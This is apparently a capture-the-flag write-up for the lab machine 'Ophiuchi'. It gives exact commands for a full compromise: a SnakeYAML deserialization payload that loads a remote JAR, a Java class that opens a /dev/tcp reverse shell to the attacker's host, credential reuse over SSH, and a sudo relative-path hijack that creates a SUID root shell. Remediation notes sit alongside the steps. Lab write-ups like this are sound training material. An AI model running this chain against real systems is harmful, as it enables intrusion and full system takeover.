Ophiuchi
Summary
Target Ophiuchi ($TARGET) ran Apache Tomcat 9.0.38 on port 8080 hosting a Java-based 'Online YAML Parser' built on the SnakeYAML library. The application's live parsing endpoint at /yaml/Servlet accepted my own YAML that exploited SnakeYAML's unsafe type-coercion to load a malicious Java provider JAR from my own server, delivering a reverse shell as the Tomcat service account.
A plaintext Tomcat manager password stored in the on-disk configuration file was reused unchanged as the SSH login password for the local OS account 'admin', collapsing the application–OS boundary and yielding the user flag. A passwordless sudo rule allowed 'admin' to execute a Go program that loaded a WebAssembly module and a shell script by bare filename rather than by absolute path; planting my own replacements in a writable directory and invoking the sudo command from there caused the Go program to run an arbitrary shell script as root, producing a SUID root shell and full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 4
Identify open ports and service version banners.
$ nmap -Pn -sV -p22,8080 $TARGETConfirm the 302 redirect to /yaml/.
$ curl -si http://$TARGET:8080/Retrieve the YAML parser landing page and inspect the form action attribute.
$ curl -si http://$TARGET:8080/yaml/Probe the disabled root /Servlet to confirm it returns the security-hold notice.
$ curl -si --data-urlencode 'data=foo: bar' http://$TARGET:8080/ServletExact commands 6
Create the gadget source directory layout.
$ mkdir -p /tmp/ophiuchi/src/artsploit /tmp/ophiuchi/classes/META-INF/servicesWrite the gadget class; replace $ATTACKER_IP with your HTB VPN (tun0) IP.
$ cat > /tmp/ophiuchi/src/artsploit/AwesomeScriptEngineFactory.java <<EOF
package artsploit;
import javax.script.*;
import java.util.List;
import java.io.IOException;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try { Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"}); } catch (IOException e) {}
}
public String getEngineName(){return null;} public String getEngineVersion(){return null;}
public List<String> getExtensions(){return null;} public List<String> getMimeTypes(){return null;}
public List<String> getNames(){return null;} public String getLanguageName(){return null;}
public String getLanguageVersion(){return null;} public Object getParameter(String k){return null;}
public String getMethodCallSyntax(String o,String m,String... a){return null;}
public String getOutputStatement(String s){return null;} public String getProgram(String... s){return null;}
public ScriptEngine getScriptEngine(){return null;}
}
EOFCompile to Java 8 bytecode (--release 8 is required; any higher version causes a class-load failure on the target JVM) and package the JAR with the SPI descriptor.
$ javac --release 8 -d /tmp/ophiuchi/classes /tmp/ophiuchi/src/artsploit/AwesomeScriptEngineFactory.java && echo 'artsploit.AwesomeScriptEngineFactory' > /tmp/ophiuchi/classes/META-INF/services/javax.script.ScriptEngineFactory && cd /tmp/ophiuchi/classes && jar cf ../yaml-payload.jar .Serve the JAR from my host on port 8000.
$ cd /tmp/ophiuchi && python3 -m http.server 8000 &Open the reverse shell listener before firing the payload.
$ nc -lvnp 4444Trigger deserialization via the unfiltered /yaml/Servlet endpoint; replace $ATTACKER_IP with your VPN IP.
$ curl -sS --data-urlencode 'data=!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://'"$ATTACKER_IP"':8000/yaml-payload.jar"]]]]' http://$TARGET:8080/yaml/ServletFixDisable SnakeYAML global-tag type instantiation in the YAML parser servletCritical
Exact commands 1
Run from the tomcat reverse shell; locate the username and password attributes in the <user> element.
$ cat /opt/tomcat/conf/tomcat-users.xmlFixEliminate cleartext credentials from Tomcat configuration files and enforce unique passwords per accountCritical
Exact commands 1
Confirm lateral movement to admin -> <user.txt>
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null admin@$TARGET 'id; cat /home/admin/user.txt'
uid=1000(admin) groups=1000(admin)Exact commands 2
List sudo privileges for admin; identify the NOPASSWD entry for the Go program.
$ sudo -l
(ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.goRead the Go source to confirm that main.wasm and deploy.sh are opened by relative path and that the info()==1 branch executes deploy.sh.
$ cat /opt/wasm-functions/index.goFixRemove the NOPASSWD sudo rule for the Go WASM program, or replace relative file paths with absolute paths owned by rootCritical
Exact commands 6
Create a writable working directory for the hijack artifacts.
$ mkdir /tmp/wasmrootWrite the WebAssembly text module; info() returns 1 to satisfy the Go program's condition.
$ printf '(module (func (export "info") (result i32) i32.const 1))\n' > /tmp/wasmroot/main.watCompile WAT to binary WASM. Install wabt if absent: sudo apt install wabt.
$ wat2wasm /tmp/wasmroot/main.wat -o /tmp/wasmroot/main.wasmWrite the malicious deploy.sh that creates a SUID root copy of bash.
$ printf '#!/bin/bash\ncp /bin/bash /tmp/rootbash\nchmod 4755 /tmp/rootbash\n' > /tmp/wasmroot/deploy.sh && chmod +x /tmp/wasmroot/deploy.shInvoke the sudo rule from /tmp/wasmroot so the Go program resolves main.wasm and deploy.sh to my own files.
$ cd /tmp/wasmroot && sudo /usr/bin/go run /opt/wasm-functions/index.goSpawn a root shell via the SUID binary; -p preserves the root effective UID -> <root.txt>
$ /tmp/rootbash -p -c 'id; cat /root/root.txt'
uid=1000(admin) euid=0(root)Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) |
| 8080/tcp | http Apache Tomcat (language: en) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.